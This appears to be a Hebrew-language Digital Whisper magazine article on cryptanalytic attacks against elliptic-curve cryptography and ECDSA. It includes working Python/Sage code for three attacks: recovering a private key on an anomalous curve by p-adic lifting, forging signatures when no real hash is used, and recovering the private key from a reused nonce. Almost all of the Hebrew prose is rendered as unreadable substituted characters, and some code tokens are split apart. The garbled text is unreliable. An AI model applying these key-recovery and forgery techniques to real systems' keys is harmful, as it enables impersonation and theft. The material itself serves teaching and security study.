 ˣˮ˥ˮ˞˷ ˣˤˬ ˸˶˥˞ ˫˧˶˲˯ˬ ˸˩˶˰ˬ˪ ˫˧˩˧˧˷ ˢ˪˞˩ ˫˧˶˲˯ˬ .˨˶˰ ˣˢ˷ˤ˧˞˪ ˯ˮ˩˸ˢ˪ ˪ˣ˩˧ ˢˤ˩˷ ˶ˣ˦

 ˵˶ ˫˪˷ ˡ˶˲ˮ ˶ˬ˞ˬ ˟ˣ˸˩˪ ˶˷˲˞ ."˫˧˪˧ˠ˶"ˢ ˫˧˧˦ˬ˸ˬˢ ˫˧˪˪˩ˢˬ ˡˣ˞ˬ ˢˮˣ˷ ˭˲ˣ˞˟ ˫˧ˠˢˮ˸ˬˣ ,˫˧˶˧˩ˬ

˪ ˶ˣ˷˧˵ ˶ˬ˞ˬˢ ˱ˣ˯˟ ˫˧˯ˮ˶˲˶˟ ˧˸˲˶˧˴ ˣ˟ ˭˧˧ˮ˰˸ˬ˷ ˧ˬ˪ˣ ,ˢˤˢ ˞˷ˣˮˢ ˪˰ ˢ˶ˣ˴˟ ˣ˸ˣ˞ ˠ˧˴ˬ˷ ˭ˣ˦˶˯

.ˢ˶ˣ˶˟ ˸˧˯˥˧ 

ˢ ˫˧˶˲˯ˬˢ ˪˰ˬ ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬ˷ ˢ˷ˡ˥ ˢˬˣ˵˰ ˢˮˣ˸ˮˢ ˢˬˣ˵˰ˢˬ ˫˧˶˴ˣ˧ ˣˤ ˢ˲˵˸ˬ˟ ,ˢ˶˵ˬ ˪˩˟-ὴ-

 ˸ˣˡˣ˵ˮ ˧˸˷ ˭˸ˮ˧ˢ˟ .˫˧˧ˡ˞Ὃ x-ὗ άὋ  ˪˰ ˸ˣˬ˧˞˸ˬ ˸ˣˡˣ˵ˮ ˭ˢ˪ ˫˧˲ˬˬ ,˸˧˶ˣ˵ˬˢ ˢˬˣ˵˰ˢ ˪˰

˭˸˧ˮ ˣ˪˟˵˸ˢ˷ ˸ˣˡˣ˵ˮˢ ˪˷ ˸ˣ˦ˮ˧ˡ˶ˣ˞ˣ˵ˢˬ .ˢ˷ˡ˥ˢ ˢˬˣ˵˰ˢ  ˸˞ ˸ˣ˪˵˟ ˟˷˥˪ά. 

:ˢ˲˵˸ˬˢ ˸˞ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ 

def lift ( P, E, p):  
    # lift point P from old curve to a new curve  
    Px, Py = map(ZZ, P.xy())  
    for point in E.lift_x(Px, all =True ):  
         # take the matching one of the 2 points corresponding to this x o n the p - adic 
curve  
        _, y = map(ZZ, point.xy())  
        if y % p == Py:  
            return point  
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p = 82880337306360052550952380657384418102169134986290141696988204552000561657747 
a = 26413685284385555604181540288021678971301314378522544469879270355650843743231 
b = 10017655579196313780863100027113686719855502076415017585743221280232958057095 
E = EllipticCurve(GF(p), [a, b])  
G = E(37991937053350834320678619330546903567320901767090609881924528835279022654346,  
      28947208718252880061735762506756351277969075978732800286053352115837132331595)  
assert E.order() == p 
 
private_key = 
28153370716511608040616395150859085058202177279382452583684367923334520519740 
P = private_key * G 
 
# Lift the points to some new curve over p - adic numbers  
E_adic = EllipticCurve( Qp(p), [a +p* 13, b +p* 37])  
G = p * lift(G, E_adic, p)  
P = p * lift(P, E_adic, p)  
 
# Calculate discrete log  
Gx, Gy = G.xy()  
Px, Py = P.xy()  
found_key = int (GF(p)((Px / Py) / (Gx / Gy)))  
assert found_key == private_key  
print ( "success!" )  
 
from Crypto.Util.numb er import long_to_bytes  
print ( "The private key is:" , long_to_bytes(found_key).decode())  

 ˸˧˧˴˵ˮˣ˲ ˫˧˶˧ˡˠˬ ˸˧˷˞˶ ˢˤ ˡˣ˵ ˰˦˵˟lift  ˢˡˣ˵ˮ ˢ˪ ˢˬ˧˞˸ˬˣ ,˸˧˶ˣ˵ˬˢ ˢˬˣ˵˰ˢ ˪˰ ˢˡˣ˵ˮ ˸˪˟˵ˬ˷

˵˰ˢ ˪˷ ˶ˡ˯ˢ˷ ˫˧˞ˡˣˣˬˣ ,ˢ˪˷ ˶ˣ˦˶ˮˠˣ ˢˬˣ˵˰ ˫˧˶˧ˡˠˬ ˭˩ˬ ˶˥˞˪ .ˡ˰˧ˢ ˸ˬˣ˵˰ ˪˰ ˢˬ˧˞˸ˬ ˞ˣˢ ˢˬˣ

 ˭˩˞ὴ .ˢ˲˵˸ˬˢ ˸˞ ˫˧˰˴˟ˬ ˤ˞ˣ .ˣ˪ ˫˧˞˸ˬˢ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˫˧˟˷˥ˬˣ ˧˦˶˲ ˥˸˲ˬ ˫˧˶˥ˣ˟ .

ˢ ˫˧˶˲˯ˬˢ ˪˰ˬ ˢ˷ˡ˥ ˢˬˣ˵˰ ˫˧˶˧ˡˠˬ-ὴ- ˸ˣˡˣ˵ˮ˪ ˫˧ˬ˧˞˸ˬˣ ,˫˧˧ˡ˞Ὃ x-ὖ  ˸ˣˬ˧˞˸ˬ ˸ˣˡˣ˵ˮ ˸ˣ˧˶ˣ˵ˬˢ

 ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˢ˷ˡ˥ˢ ˢˬˣ˵˰˟lift ˟ ˭˸˪˲˩ˢˣ-ὴ . 

 ˸˞ ˫˧˟˷˥ˬ ˢ˷ˡ˥ ˢˡˣ˵ˮ ˪˩˪ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵ ˭˧˟ ˯˥˧ˢ-ὼ ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵˪ ˢ˪˷-ώ  ˧ˮ˷ ˪˷ ˢˮˬˢ .ˢ˪˷

ˢ ˭ˣ˶˸˲ ˞˧ˢ ˢ˪˞ˢ ˫˧˩˶˰ˢ-ECDLP .˸ˣ˧˶ˣ˵ˬˢ ˸ˣˡˣ˵ˮ˟ :˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ 

success!  
The priva te key is: >>>>> Extraordinarily Nice <<<<<  

˞˧ˢ ˢˬˣ˵˰ˢ ˪˰ ˸ˣˡˣ˵ˮˢ ˸ˣˬ˩˷ ˢˡ˟ˣ˰˟ ˢ˶ˣ˷˵ ˡ˟ˣ˰ ˢˤˢ ˟ˣ˷˧˥ˢ˷ ˢ˟˧˯ˢ  ˵ˣ˧ˡ˟ὴ ˣˤ ˢˮˣ˩˸ .

 ˫˧˶˲˯ˬ ˪˰ˬ ˢˬˣ˵˰˟ ˸ˣˡˣ˵ˮ ˭˧˟ ˢ˲ˬˬ ˫ˢ˟ ˭ˣ˶˥˞ˢ˷ ˫˧˧ˣ˲˧ˬ ˶˲˯ˬ ˰˴˟˪ ˣˮ˪ ˸˶˷˲˞ˬὴ- ,˫˧˧ˡ˞

 ˣ˪ˣˡˣˬ ˫˧˶˲˯ˬ˪ὴ ˸ˣˡˣ˵ˮˢ ˧˸˷˪ ˫˧ˬ˧˞˸ˬˢ ˫˧˶˲˯ˬˢ ˠˣˤ ˭˧˟ ˯˥˧˷ ˢˮˣ˩˸ˢ ˸˞ ˫˧˧˵ˬ ˢˤˢ ˧ˣ˲˧ˬˢ .

ˢ ˪˩ ˸˞ .˸ˣˡˣ˵ˮˢ ˧˸˷ ˪˷ ˫˸˧˶ˠˣ˪ˢ ˸˞˴ˣ˸ ˵ˣ˧ˡ˟ ˞ˣˢ ,˸ˣ˧˶ˣ˵ˬˢ ˞˯˲ˣ˵˩ ˶˧˞˷ˮ ˢ˪˞ˢ ˫˧˧ˣ˲˧ˬ

.˫˧˦ˮˣˣ˪˶ˢ ˫˧˧˦ˬ˸ˬˢ ˫˧˶˟˯ˢ˪ ˫˧˯ˮ˶˲˶ ˧˸˲˯ˣˢ ˶ˬ˞ˬˢ ˱ˣ˯˟ ˨˞ ,ˢ˶ˣ˥˷ 
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 ˪˰ ˸ˣ˰ˣˡ˧ ˸ˣ˲˵˸ˬECDSA 

 ˫˧˟˷˥ˬ ˞˪hash ˢ˧˪˰ ˫˧ˬ˸ˣ˥˷ ˧ˮ˲˪ ˢ˰ˡˣˢˢ ˪˷ 

ˢ ˸˞ ˫˧˟˷˥ˬ ˸˧˷˞˶ ˢ˰ˡˣˢ ˪˰ ˢˬ˧˸˥ˢ ˨˧˪ˢ˸˟˷ ˣˮ˧˞˶-hash  ˸˞ ˫˧˥˵ˣ˪ ˢ˞˴ˣ˸ˢˬ ,ˢ˰ˡˣˢˢ ˪˷

 ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ ˪˰ ˫˧ˠ˪ˡˬ ˢˬ˧˸˥ ˪˷ ˣˢ˷˪˩ ˷ˣˬ˧ˬ˟˷ ˥˧ˮˮ .ˢˬ˧˸˥ˢ ˟ˣ˷˧˥˟ ˫ˢ˟ ˫˧˷ˬ˸˷ˬˣ

ˢ ˟ˣ˷˧˥-hash ˢ ˪˷ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ ˸˞ ˸˥˵˪ ˫ˣ˵ˬ˟ˣ ,ˢ˰ˡˣˢˢ ˪˷-hash  ˫˧˦˧˟ˢ ˸˞ ˫˧˥˵ˣ˪

 ˞ˣˢ ˢ˪˷ ˢˬ˧˸˥ˢ ˪˰ ˰˧˲˷ˬ˷ ˢ˰ˡˣˢ˟ ˡ˧˥˧ˢ ˵˪˥ˢ ,ˢˤ˩˷ ˷ˣˬ˧ˬ˟ .˞˧ˢ˷ ˣˬ˩ ˢ˰ˡˣˢˢ ˪˷ ˫˧ˮˣ˧˪˰ˢ

˥˞ ˫˧˪˧ˬ˟ .ˢ˰ˡˣˢˢ ˸˪˧˥˸ ˢ˰ˡˣˢˢ ˸˪˧˥˸ ˸˞ ˶˧˞˷ˢ˪ ˪˩ˣˮ ,ˢ˪˷ ˢˬ˧˸˥ˣ ˢ˰ˡˣˢ ˣˮ˪ ˷˧ ˫˞ ,˸ˣ˶

.ˢ˦ˣ˷˲ ˷ˬˬ ˢ˲˵˸ˬ ˣˤ .˸˧˵ˣ˥ ˶˞˷˧˸ ˢˬ˧˸˥ˢˣ ,ˢ˪˷ ˨˷ˬˢˢ ˸˞ ˸ˣˮ˷˪ˣ ˢ˰ˣ˟˵ 

 ˢ˧˪˰ ˸ˣ˷˰˪ ˧˪˟ˬ ˢ˧˪˰ ˣˬ˸˥˸ˣ ˢ˞˟ˢ ˢ˰ˡˣˢˢ ˸˞ ˫˩˪˷ ˵ˮ˟˪ ˣ˟˸˩˸˷ ˪˷ˬ˪ ˥˧ˮˮhash: 

άˬ˧˷ ˧ˡ˩ ˪˞˧˦˯˵ ˵˧˲˞˪ ˥"˷ ˱˪˞ ˧˪˷ ˭ˣ˟˷˥ˢˬ ˶˧˟˰ˢ˪ ˞ˮ ˸˞ ˵ˤ˥˸˪ ˨˧˷Digital Whisper ˟ˣˢ˞ˢέ 

 ˸˞ ˶ˣ˴˧˪ ˪˩ˣ˧ ...ˣˢ˷˪˩... ˱˵ˣ˸ .ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˧ˣ ,˧ˣ˞˶˩ ˢˬ˸˥ˮ ˣˤˢ ˢ˰ˡˣˢˢ˷ ˢ˥˪˴ˢ˟ ˸ˬ˞˧ ˵ˮ˟ˢ

:ˢ˞˟ˢ ˢ˰ˡˣˢˢ 

ά˧˵˯˵ ˧˪˞˪ ˥"˷ ˭ˣ˧˪˧ˬˣ ˪˞˧˦˯˵ ˵˧˲˞˪ ˥"˷ ˱˪˞ ˧˪˷ ˭ˣ˟˷˥ˢˬ ˶˧˟˰ˢ˪ ˞ˮέ 

˪ ˫ˠ ˸˧˵ˣ˥ ˢ˧ˢ˸ ˢˬ˧˸˥ˢ .˫˸˶˴˧ ˰ˠ˶ˢ˷ ˢˬ˧˸˥˟ ˷ˬ˸˷ˢ˪ˣ ˞˪ .˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟˧ ˵ˮ˟ˢˣ ,ˣˤ ˢ˰ˡˣˢ

.(˧ˬ˪ ˧ˣ˪˸ ˫˴˰˟) .˟ˣ˦ 

:ˢ˲˵˸ˬˢ ˸˞ ˫˧ˠˡˬ ˞˟ˢ ˡˣ˵ˢ 

from ecdsa import SigningKey, NIST256p  
 
signing_key = SigningKey.generate(NIST256p)  
verifying_key = signing_key.verifying_key  
 
class MyHash:  
    def __init__ ( self , data ):  
        self .data = data  
 
    def digest ( self ):  
        return self .data  
 
# Sign the message and verify the signature  
message = "Please transfer 1,000$ to Digital Whisper"  
signature = signing_key.sign(message.encode(), hashfunc =MyHash) 
assert verifying_key. verify(signature, message.encode(), hashfunc =MyHash) 
 
# Construct an evil message and verify the original message's signature is 
valid for it as well  
evil_message = "Please transfer 1,000$ to Digital Whisper and 1,000,000$ to 
Eli"  
assert verifying_key.veri fy(signature, evil_message.encode(), hashfunc =MyHash) 
print ( "success!" )  
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 ˢ˧˶˲˯˟ ˫˧˷ˬ˸˷ˬ ˢˤ ˡˣ˵ ˰˦˵˟ecdsa  ˷ˬˬ˪ ˢ˶ˣˬ˞˷ ˢ˵˪˥ˬ ˸˶ˡˠˣˬ ˡˣ˵˟ .ˢ˰ˣˡ˧ ˢˬˣ˵˰˟ˣ

 ˸˧˧˴˵ˮˣ˲hash  ˢ˰ˡˣˢ ˪˰ ˢˬ˧˸˥˟ ˭˩˪ .˞˧ˢ˷ ˣˬ˩ ˢ˰ˡˣˢˢ ˸˞ ˢ˶˧˞˷ˬˣ ,˸˞ˤ ˸˰˴˟ˬ ˞˪ ˨˞

˫˧ˮˣ˷˞˶ˢ ˫˧˦˧˟˟ ˵˶ ˫˧˷ˬ˸˷ˬ ˢ ˨ˣ˸ˬ ˫ˣ˵ˬ˟ ,˸˧˶ˣ˵ˬˢ ˢ˰ˡˣˢˢ ˨ˣ˸ˬ-hash  ˡˣ˵ˢ ˨˷ˬˢ˟ .ˢ˪˷

 ˪˰ ˢˬ˧˸˥ˢ˷ ˞ˡˣˣˬ ˡˣ˵ˢˣ ,˸˧ˮˣˡˤ ˢ˰ˡˣˢ ˸˶ˡˠˣˬ ˭˩ˬ ˶˥˞˪ .ˢ˪˷ ˸ˣˬ˧˞ˣ ˢ˰ˡˣˢˢ ˪˰ ˢˬ˧˸˥ ˸˰˴˟˸ˬ

.˸˧ˮˣˡˤˢ ˢ˰ˡˣˢ˪ ˫ˠ ˢˬ˧˞˸ˬ ˸˧˶ˣ˵ˬˢ ˢ˰ˡˣˢˢ 

˞ ,ˣˮ˪˷ˬ ˸ˣ˷ˡ˥ ˸ˣˬ˧˸˥ ˶ˣ˴˧˪ ˧ˡ˩ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˣˮˠ˷ˢ ˞˪ ˫ˮˬ˞ ˢˤ˩ ˷˧˥˶˸˟ ˢˬ˧˸˥ ˭˸ˮ˧ˢ˟ ˪˟

.˨˶˰ ˣ˸ˣ˞˟ ˸ˣ˪˧˥˸ˬ ˭ˢ˷ ˧˞ˮ˸˟ ,ˢ˴˶ˮ˷ ˸ˣ˰ˡˣˢ ˢˬ˩ ˪˰ ˫ˣ˸˥˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˸˥˞ 

 

 ˨˶˰ ˣ˸ˣ˞˟ ˷ˣˬ˧˷▓ ˸ˣˮˣ˷ ˸ˣˬ˧˸˥˟ ˸˥˞ ˫˰˲ˬ ˶˸ˣ˧ 

 ˨˶˰ ˪˧˶ˠˢ˪ ˷˶ˡˮ ˷ˬ˸˷ˬˢ ,ˢ˰ˡˣˢ ˪˰ ˢˬ˧˸˥ˢ ˨˧˪ˢ˸ˬ ˵˪˥˩Ὧ  ˧ˡ˩ ˣ˟ ˷ˬ˸˷ˢ˪ˣ ˸˧˞˶˵˞ ˢ˶ˣ˴˟

˰˟ ˷ˬ˸˷ˢ˪ ˡˣ˞ˬ ˟ˣ˷˥ .ˢ˰ˡˣˢˢ ˪˰ ˫ˣ˸˥˪ ˧˩˶Ὧ  ˸˶˥˞ .˸ˣˮˣ˷ ˸ˣˬ˧˸˥˟ ˫˧ˮˣ˷-  ˸ˣ˰ˡˣˢ ˧˸˷ ˭˸ˮ˧ˢ˟

 ˨˶˰ ˣ˸ˣ˞˟ ˷ˬ˸˷ˢ ˷ˬ˸˷ˬˢ ˭ˢ˟˷ ,˸ˣˬˣ˸˥Ὧ  ˸˞ ˟˷˥˪ ˪ˣ˩˧ ˱˵ˣ˸ ,˷ˡ˥ˬ ˣ˸ˣ˞ ˪˧˶ˠˢ˪ ˫ˣ˵ˬ˟

.˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ 

 ˸˞ ˧˶ˣ˟˧˴ ˭˲ˣ˞˟ ˥˪ˣ˷ ˷ˬ˸˷ˬˢ ˢˬ˧˸˥˟ ,˶ˣ˩ˤ˩ὶ ὼ  άέὨ ὲ  ˸˞ˣί  Ὧ ᾀ ὶὨ˧ˮˮ . ˥

˪ ˸ˣˬ˧˞˸ˬ˷ ˸ˣˮˣ˷ ˸ˣ˰ˡˣˢ ˧˸˷ ˪˰ ˫˸˥ ˣˢ˷˪˩ ˷ˬ˸˷ˬ˷- ᾀ x-ᾀ ˸ˣˠˣˤ ˧ˮ˷ ˧˶ˣ˟˧˴ ˭˲ˣ˞˟ ˥˪˷ˣ ,

 ˫˧˩˶˰ὶȟί x- ὶȟί ˨˶˰ ˣ˸ˣ˞˟ ˷ˬ˸˷ˢ ˶ˬˣ˪˩ ,Ὧ :˫˧˧˵˸ˬ˷ ˟˪ ˫˧˷ˮ .ˢ˪˞ˢ ˸ˣˬ˧˸˥ˢ ˧˸˷˟ 

ί ί Ὧ ᾀ ὶὨ Ὧ ᾀ ὶὨ Ὧ ᾀ ὶὨ ᾀ ὶὨ Ὧ ᾀ ᾀ  

 ˪˷ ˨˶˰ˢ ˸˞ ˞ˣ˴ˬ˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ,˭˞˩ˬὯ :˟ˣ˷˧˥ˢ ˧ˡ˧ ˪˰ 

Ὧ
ᾀ ᾀ

ί ί
 

 ˸˞ ˞˴ˬ ˱˵ˣ˸ˢ˷ ˶˥˞˪Ὧ .˸ˣˬ˧˸˥ˢ ˸˥˞ ˨ˣ˸ˬ ˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˟˷˥˪ ˪ˣ˩˧ ˞ˣˢ ,

:˫˧˧˵˸ˬ˷ ˟˪ ˫˧˷ˮ 

ὶ Ὧί ᾀ ὶ ὯὯ ᾀ ὶὨ ᾀ ὶ ᾀ ὶὨ ᾀ ὶ ὶὨ Ὠ 

 ˧˩˶˰ ˭˸ˮ˧ˢ˟ὶȟί x-ᾀ  ˪˷ ˨˶˰ˢˣ ,ˢ˪˷ ˢˬ˧˸˥ˢˣ ˢ˰ˡˣˢ ˪˷ Ὧ ˸˞ ˟˷˥˧ ˱˵ˣ˸ˢ ,˞˴ˬ ˱˵ˣ˸ˢ˷

Ὠ ὶ Ὧίᾀ˟ ,ˢ˴ˣ˶ ˞ˣˢ˷ ˢ˰ˡˣˢ ˪˩ ˪˰ ˫ˣ˸˥˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ,ˣˤ ˢˡˣ˵ˮˬ . ˸˞˷ ˷ˬ˸˷ˬˢ ˫˷

 .ˠ˧˷ˢ ˞ˣˢ ˣ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ 
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˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  ос 
 

:ˢ˲˵˸ˬˢ ˸˞ ˰˴˟ˬ ˞˟ˢ ˡˣ˵ˢ 

from ecdsa.ecdsa import curve_256, generator_256, Public_key, Private_key  
from Crypto.Util.number import bytes_to_long,  long_to_bytes  
from hashlib import sha256 
import random 
 
# Select a curve and generator  
curve = curve_256  
generator = generator_256  
n = generator.order()  
 
# Create private key and public keys  
secret_key = 6743529130774090927928101169617481154782309 
public_key = Public_key(generator, generator * secret_key)  
private_key = Private_key(public_key, secret_key)  
 
# Sign 2 messages using the same k  
k = random.randrange(curve.p())  
message1 = "Life is like a box of chocolates."  
message2 = "You never know what you're gonna get."  
z1 = bytes_to_long(sha256(message1.encode()).digest())  
z2 = bytes_to_long(sha256(message2.encode()).digest())  
 
signature1 = private_key.sign(z1, k)  
signature2 = private_key.sign(z2, k)  
 
# Given the two messages and their signatures, find k  
found_k = (z1 -  z2) * inverse_mod(signature1.s -  signature2.s, n) % n 
assert k == found_k  
 
# Given k and one of the messages, find the private key  
found_key = inverse_mod(signature1.r, n) * (found_k * signature1.s -  z1) % n 
assert found_key == secret_key  
print ( "success!" )  
print ( "The secret is:" , long_to_bytes(found_key).decode ())  

 ˢ˧˶˲˯˟ ˫˧˷ˬ˸˷ˬ ˢˤ ˡˣ˵ ˰˦˵˟ecdsa  ˧ˡ˩ ˣ˟ ˫˧˷ˬ˸˷ˬˣ ˧˦˶˲ ˥˸˲ˬ ˫˧˶˧ˡˠˬ .ˢ˰ˣˡ˧ ˢˬˣ˵˰˟ˣ

 ˪˷ ˨˶˰ˢ .˸ˣ˰ˡˣˢ ˧˸˷ ˪˰ ˫ˣ˸˥˪Ὧ  ˧˸˷ ˶ˣ˟˰ ˢˢˤ ˶˞˷ˮ ˞ˣˢ ˨˞ ,˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˪˶ˠˣˬ ˫ˮˬ˞

 ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ ˣˮ˧˞˶˷ ˟ˣ˷˧˥ˢ ˸˞ ˰˴˟ˬ ˡˣ˵ˢ ,˭ˢ˪˷ ˸ˣˬ˧˸˥ˢˣ ˸ˣ˰ˡˣˢˢ ˧˸˷ ˭˸ˮ˧ˢ˟ .˸ˣˬ˧˸˥ˢὯ .

˪ ˨˶˰˟ ˫˧˷ˬ˸˷ˬ ,˱ˣ˯˟Ὧ  .ˣˮ˧˞˶˷ ˧˲˩ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˟˷˥˪ ˧ˡ˩ ˞˴ˬˮ˷:˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ 

success!  
The sec ret is: Mistakes were made  

 ˸ˮ˷˟ ˪˰ˣ˲˟ ˢˬ˷ˣ˧ ˣˤ ˢ˲˵˸ˬ˷ ˭˧˧˴˪ ˭˧˧ˮ˰ˬнлмл ˭ˣˮˠˮˬ ˸˞ ˢ˥ˣ˦˟ ˞˪ ˢ˶ˣ˴˟ ˢ˷ˬ˧ˬ ˧ˮˣ˯ ˸˶˟˥˷˩ ,

˧˧˦˯˧˧˪˲ ˸˪ˣ˯ˮˣ˵ ˪˷ ˢˮ˩ˣ˸ˢ ˪˰ ˢ˪˷ ˢˬ˧˸˥ˢ ˭˷о ˪˷ ˧˦˦˯ ˨˶˰˟ ˢ˷ˬ˸˷ˢ ˧ˮˣ˯ .Ὧ  ˸ˣˬ˧˸˥ˢ ˶ˣ˟˰

 ˨˩˪ ˪˧˟ˣˢ ˶˟ˡˢ .˪"ˮˢ ˟ˣ˷˧˥ˢ ˸˶ˤ˰˟ ˧ˮˣ˯ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˠ˧˷ˢ˪ ˫˧˲˵ˣ˸˪ ˶˷˲˧˞˷ ˢˬ ,ˢ˪˷

 ˭˷˧˧˦˯˧˧˪˲˪ ˫ˣ˶ˠ˪ˣ ,˞ˣˢ˷ ˡˣ˵ ˪˩ ˪˰ ˫ˣ˸˥˪ ˢ˧ˢ ˭˸˧ˮ˷о  ˣ˷ˬ˸˷ˢ ˨˷ˬˢ˟ .ˣ˸ˣ˞ ˳˧˶ˢ˪ ˫˧˩˯ˢ˪

ˣ ˫˧˧˦˞˶˧˲ ˫˧˵˥˷ˬ ˭˧˵˸ˢ˪ ˧ˡ˩ ˣˤ ˸˪ˣ˩˧˟˞˪-.ˢ˪ˣ˯ˮˣ˵ˢ ˪˰ ˫˧˧ˬ˷˶ 
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˭ˣ˧˪ˠ 166, ˞˶˟ˣ˦˵ˣ нлнп  от 
 

 ˸˶˧˥˟▓ ˸˧˸ˣ˥˧˦˟ ˞˪ ˢ˶ˣ˴˟ 

 ˶˥ˣ˟ ˷ˬ˸˷ˬˢ ˫˞Ὧ  ˫˞ ,˪˷ˬ˪ .˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˶˷˲˞ ˤ˞ ,˸˧˞˶˵˞ ˵˧˲˯ˬ ˞˪ ˢ˶ˣ˴˟

˷ ˰ˣˡ˧ ˱˵ˣ˸˪-Ὧ  ˪˷ ˫˧˸˟ˢˬ ˵˪˥ ˱˵ˣ˸˪ ˫˧˰ˣˡ˧˷ ˣ˞ ,˫˧˩˶˰ ˪˷ ˫˴ˬˣ˴ˬ ˡˣ˞ˬ ˥ˣˣ˦˟ ˞˴ˬˮὯ ˭˸˧ˮ ˤ˞ ,

 ˧ˡ˧ ˪˰Brute Force ˞ ˞ˣ˴ˬ˪ ˦ˣ˷˲ ˱˵ˣ˸ˢ .˸˥˞ ˢˬˣ˸˥ ˢ˰ˡˣˢ ˧ˡ˧ ˪˰ ˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸

 ˧˩˶˰ ˶ˣ˟˰ ˸ˬˡˣ˵ˢ ˢ˲˵˸ˬ˟ ˣˮ˧˞˶˷ ˟ˣ˷˧˥ˢ ˸˞ ˳˧˶˧Ὧ  ˸˞ ˣˮˬˬ ˠ˧˷˧ˣ ˭ˣ˩ˮˢ ˨˶˰˪ ˰˧ˠ˧˷ ˡ˰ ,˫˧ˮˣ˷ˢ

.˧˦˶˲ˢ ˥˸˲ˬˢ 

ˢ ˸˞ ˫˧˟˷˥ˬ ,˨˶˰ ˣˢ˷ˤ˧˞ ˫˧˪˧˶ˠˬ ˫˧˷ˬ˸˷ˬˢ ˫˧ˬ˰˲˪ ,ˣˤ ˢ˧˰˟ ˪˰ ˶˟ˠ˸ˢ˪ ˧ˡ˩-hash  ˫˰ ˣ˪˷

 ˸˧˧˴˵ˮˣ˲hash ˩ ˶ˣ˸˟ ˢ˞˴ˣ˸˟ ˫˧˷ˬ˸˷ˬˣ ,˧ˢ˷˪Ὧ ˪˷ˬ˪ ˥˧ˮˮ .˸ˣ˧˰˟˪ ˫ˣ˶ˠ˪ ˢ˪ˣ˪˰ ˸˞ˤˢ ˢ˦˧˷ˢ .

 ,˶ˣ˦˶ˮˠˢ ˶ˡ˯ ˪˷ ˨˶ˣ˞ˢ˷ὲ ˞ˣˢ ,нрс ˢ ˸˧˧˴˵ˮˣ˲ˣ ,˦˧˟-hash  ˞˧ˢ ˢ˶˥˟ˮ˷SHA-1 ˪˷ ˦˪˲ˢ .

 ˪˷ ˨˶ˣ˞˟ ˶˲˯ˬ ˞ˣˢ ˸˞ˤˢ ˢ˧˴˵ˮˣ˲ˢмсл  ˣ˪ˣˡˣˬ ˫˧˟ˣ˷˧˥˟ .˦˧˟ὲ ˪˷ ˨˶˰ˢ˷ ˰ˣˡ˧ ,Ὧ  ˣ˸˪˧˥˸˟ ˪˧˩ˬ

фс  ,˫˧˯˲˞ ˶ˬˣ˪˩Ὧ  ˧˩˶˰˷ ˫˧˶ˬˣ˞ ˢˤ˩ ˟˴ˬ˟ .˭˦˵ ˸˧˯˥˧ ˶˲˯ˬ ˞ˣˢὯ ) ˫˧˦ˣˬ ˫ˢBiased ˭˸ˮ˧ˢ˟ˣ ,(

.˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ,˧˦˶˲ˢ ˥˸˲ˬˢ ˣ˸ˣ˞ ˫˰ ˣˬ˸˥ˮ˷ ˸ˣ˰ˡˣˢ ˶˲˯ˬ 

) ˠ˧˶˯ ˞˶˵ˮ˷ ˧˶˟ˠ˪˞ ˢˮ˟ˬ ˪˰ ˸˯˯˟˸ˬ ˢ˲˵˸ˬˢLattice ˠ˧˶˯ ˪˰ ˟ˣ˷˥˪ ˶˷˲˞ ,˧ˬ˷˶ ˞˪ ˭˲ˣ˞˟ .(

ˬ˟ ˫˧˶ˣ˦˵ˣ ˪˷ ˢ˴ˣ˟˵ ˪˰˩ ˟˥˶ά- "˯˧˯˟" ˧˶ˣ˦˵ˣ ˪˷ ˧˶˞ˮ˧˪ ˱ˣ˶˧˴ ˶ˣ˸˟ ˫˸ˣ˞ ˞˦˟˪ ˶˷˲˞˷ ,˧ˡˬ˧ˬ

˫˞ ,˸˧˦ˬ˸ˬ˟ .˫˧ˬ˪˷ ˫˧ˬˡ˵ˬ ˫˰ὦȟȣȟὦ    ˪˰ˬ ˯˧˯˟ˢ ˧˶ˣ˦˵ˣ ˫ˢᴙ  ˫ˢ˪ ˫˧˞˸ˬˢ ˠ˧˶˯ˢ ˤ˞

 ˞ˣˢfl В ὥὦ ὥᶰᴚ. ˴ˬ˪ ˨˧˶˴ ,ˠ˧˶˯ ˪˷ ˯˧˯˟ ˭˸ˮ˧ˢ˟ :ˢ˧˰˟ˢ ˸ˬ˧˧˵ ˢˤ ˢˮ˟ˬ˟ ˶ˣ˦˵ˣˢ ˸˞ ˞ˣ

 ˯˲˞˪ ˫˧˟ˣ˶˵ ˣ˧˶˟˧˞˷ ˶ˣ˦˵ˣ ˢˤ "˶˴˵ ˶ˣ˦˵ˣ" ,˧ˬ˷˶ ˞˪ ˭˲ˣ˞˟ ,ˢˤ ˶˷˵ˢ˟ .ˠ˧˶˯˟ ˞˴ˬˮ˷ ˶˸ˣ˧˟ ˶˴˵ˢ

